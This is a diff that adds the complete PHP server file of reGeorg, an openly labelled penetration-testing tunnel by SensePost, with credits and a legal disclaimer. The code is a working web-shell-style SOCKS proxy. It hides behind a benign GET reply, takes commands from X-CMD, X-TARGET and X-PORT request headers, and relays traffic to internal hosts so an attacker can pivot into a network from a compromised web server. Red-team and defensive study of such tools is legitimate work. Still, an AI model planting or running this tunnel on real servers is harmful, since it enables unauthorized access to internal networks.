|
| 1 | +<?php |
| 2 | +/* _____ |
| 3 | + ____ ______ __|___ |__ ______ _____ _____ ______ |
| 4 | + | | | ___|| ___| || ___|/ \| | | ___| |
| 5 | + | \ | ___|| | | || ___|| || \ | | | |
| 6 | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| |
| 7 | + |_____| |
| 8 | + ... every office needs a tool like Georg |
| 9 | +
|
| 10 | + willem@sensepost.com / @_w_m__ |
| 11 | + sam@sensepost.com / @trowalts |
| 12 | + etienne@sensepost.com / @kamp_staaldraad |
| 13 | +
|
| 14 | +Legal Disclaimer |
| 15 | +Usage of reGeorg for attacking networks without consent |
| 16 | +can be considered as illegal activity. The authors of |
| 17 | +reGeorg assume no liability or responsibility for any |
| 18 | +misuse or damage caused by this program. |
| 19 | +
|
| 20 | +If you find reGeorge on one of your servers you should |
| 21 | +consider the server compromised and likely further compromise |
| 22 | +to exist within your internal network. |
| 23 | +
|
| 24 | +For more information, see: |
| 25 | +https://github.com/sensepost/reGeorg |
| 26 | +*/ |
| 27 | + |
| 28 | +ini_set("allow_url_fopen", true); |
| 29 | +ini_set("allow_url_include", true); |
| 30 | +error_reporting(E_ERROR | E_PARSE); |
| 31 | + |
| 32 | +if( !function_exists('apache_request_headers') ) { |
| 33 | + function apache_request_headers() { |
| 34 | + $arh = array(); |
| 35 | + $rx_http = '/\AHTTP_/'; |
| 36 | + |
| 37 | + foreach($_SERVER as $key => $val) { |
| 38 | + if( preg_match($rx_http, $key) ) { |
| 39 | + $arh_key = preg_replace($rx_http, '', $key); |
| 40 | + $rx_matches = array(); |
| 41 | + $rx_matches = explode('_', $arh_key); |
| 42 | + if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { |
| 43 | + foreach($rx_matches as $ak_key => $ak_val) { |
| 44 | + $rx_matches[$ak_key] = ucfirst($ak_val); |
| 45 | + } |
| 46 | + |
| 47 | + $arh_key = implode('-', $rx_matches); |
| 48 | + } |
| 49 | + $arh[$arh_key] = $val; |
| 50 | + } |
| 51 | + } |
| 52 | + return( $arh ); |
| 53 | + } |
| 54 | +} |
| 55 | +if ($_SERVER['REQUEST_METHOD'] === 'GET') |
| 56 | +{ |
| 57 | + exit("Georg says, 'All seems fine'"); |
| 58 | +} |
| 59 | + |
| 60 | +if ($_SERVER['REQUEST_METHOD'] === 'POST') { |
| 61 | + set_time_limit(0); |
| 62 | + $headers=apache_request_headers(); |
| 63 | + $cmd = $headers["X-CMD"]; |
| 64 | + switch($cmd){ |
| 65 | + case "CONNECT": |
| 66 | + { |
| 67 | + $target = $headers["X-TARGET"]; |
| 68 | + $port = (int)$headers["X-PORT"]; |
| 69 | + #$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); |
| 70 | + #if ($sock === false) |
| 71 | + #{ |
| 72 | + # header('X-STATUS: FAIL'); |
| 73 | + # header('X-ERROR: Failed creating socket'); |
| 74 | + # return; |
| 75 | + #} |
| 76 | + $res = fsockopen($target, $port); |
| 77 | + #$res = @socket_connect($sock, $target, $port); |
| 78 | + if ($res === false) |
| 79 | + { |
| 80 | + header('X-STATUS: FAIL'); |
| 81 | + header('X-ERROR: Failed connecting to target'); |
| 82 | + return; |
| 83 | + } |
| 84 | + #socket_set_nonblock($res); |
| 85 | + |
| 86 | + stream_set_blocking($res, false); |
| 87 | + @session_start(); |
| 88 | + $_SESSION["run"] = true; |
| 89 | + $_SESSION["writebuf"] = ""; |
| 90 | + $_SESSION["readbuf"] = ""; |
| 91 | + ob_end_clean(); |
| 92 | + header('X-STATUS: OK'); |
| 93 | + header("Connection: close"); |
| 94 | + ignore_user_abort(); |
| 95 | + ob_start(); |
| 96 | + $size = ob_get_length(); |
| 97 | + header("Content-Length: $size"); |
| 98 | + ob_end_flush(); |
| 99 | + flush(); |
| 100 | + session_write_close(); |
| 101 | + |
| 102 | + while ($_SESSION["run"]) |
| 103 | + { |
| 104 | + $readBuff = ""; |
| 105 | + @session_start(); |
| 106 | + $writeBuff = $_SESSION["writebuf"]; |
| 107 | + $_SESSION["writebuf"] = ""; |
| 108 | + session_write_close(); |
| 109 | + if ($writeBuff != "") |
| 110 | + { |
| 111 | + stream_set_blocking($res, false); |
| 112 | + $i = fwrite($res, $writeBuff); #socket_write($sock, $writeBuff, strlen($writeBuff)); |
| 113 | + if($i === false) |
| 114 | + { |
| 115 | + @session_start(); |
| 116 | + $_SESSION["run"] = false; |
| 117 | + session_write_close(); |
| 118 | + header('X-STATUS: FAIL'); |
| 119 | + header('X-ERROR: Failed writing socket'); |
| 120 | + } |
| 121 | + } |
| 122 | + # stream_set_timeout($res, 1); |
| 123 | + stream_set_blocking($res, false); |
| 124 | + while ($o = fgets($res, 10)) { |
| 125 | + if($o === false) |
| 126 | + { |
| 127 | + @session_start(); |
| 128 | + $_SESSION["run"] = false; |
| 129 | + session_write_close(); |
| 130 | + header('X-STATUS: FAIL'); |
| 131 | + header('X-ERROR: Failed reading from socket'); |
| 132 | + } |
| 133 | + $readBuff .= $o; |
| 134 | + } |
| 135 | + if ($readBuff!=""){ |
| 136 | + @session_start(); |
| 137 | + $_SESSION["readbuf"] .= $readBuff; |
| 138 | + session_write_close(); |
| 139 | + } |
| 140 | + #sleep(0.2); |
| 141 | + } |
| 142 | + fclose($res); |
| 143 | + } |
| 144 | + break; |
| 145 | + case "DISCONNECT": |
| 146 | + { |
| 147 | + error_log("DISCONNECT recieved"); |
| 148 | + @session_start(); |
| 149 | + $_SESSION["run"] = false; |
| 150 | + session_write_close(); |
| 151 | + return; |
| 152 | + } |
| 153 | + break; |
| 154 | + case "READ": |
| 155 | + { |
| 156 | + @session_start(); |
| 157 | + $readBuffer = $_SESSION["readbuf"]; |
| 158 | + $_SESSION["readbuf"]=""; |
| 159 | + $running = $_SESSION["run"]; |
| 160 | + session_write_close(); |
| 161 | + if ($running) { |
| 162 | + header('X-STATUS: OK'); |
| 163 | + header("Connection: Keep-Alive"); |
| 164 | + echo $readBuffer; |
| 165 | + return; |
| 166 | + } else { |
| 167 | + header('X-STATUS: FAIL'); |
| 168 | + header('X-ERROR: RemoteSocket read filed'); |
| 169 | + return; |
| 170 | + } |
| 171 | + } |
| 172 | + break; |
| 173 | + case "FORWARD": |
| 174 | + { |
| 175 | + @session_start(); |
| 176 | + $running = $_SESSION["run"]; |
| 177 | + session_write_close(); |
| 178 | + if(!$running){ |
| 179 | + header('X-STATUS: FAIL'); |
| 180 | + header('X-ERROR: No more running, close now'); |
| 181 | + return; |
| 182 | + } |
| 183 | + header('Content-Type: application/octet-stream'); |
| 184 | + $rawPostData = file_get_contents("php://input"); |
| 185 | + if ($rawPostData) { |
| 186 | + @session_start(); |
| 187 | + $_SESSION["writebuf"] .= $rawPostData; |
| 188 | + session_write_close(); |
| 189 | + header('X-STATUS: OK'); |
| 190 | + header("Connection: Keep-Alive"); |
| 191 | + return; |
| 192 | + } else { |
| 193 | + header('X-STATUS: FAIL'); |
| 194 | + header('X-ERROR: POST request read filed'); |
| 195 | + } |
| 196 | + } |
| 197 | + break; |
| 198 | + } |
| 199 | +} |
| 200 | +?> |
0 commit comments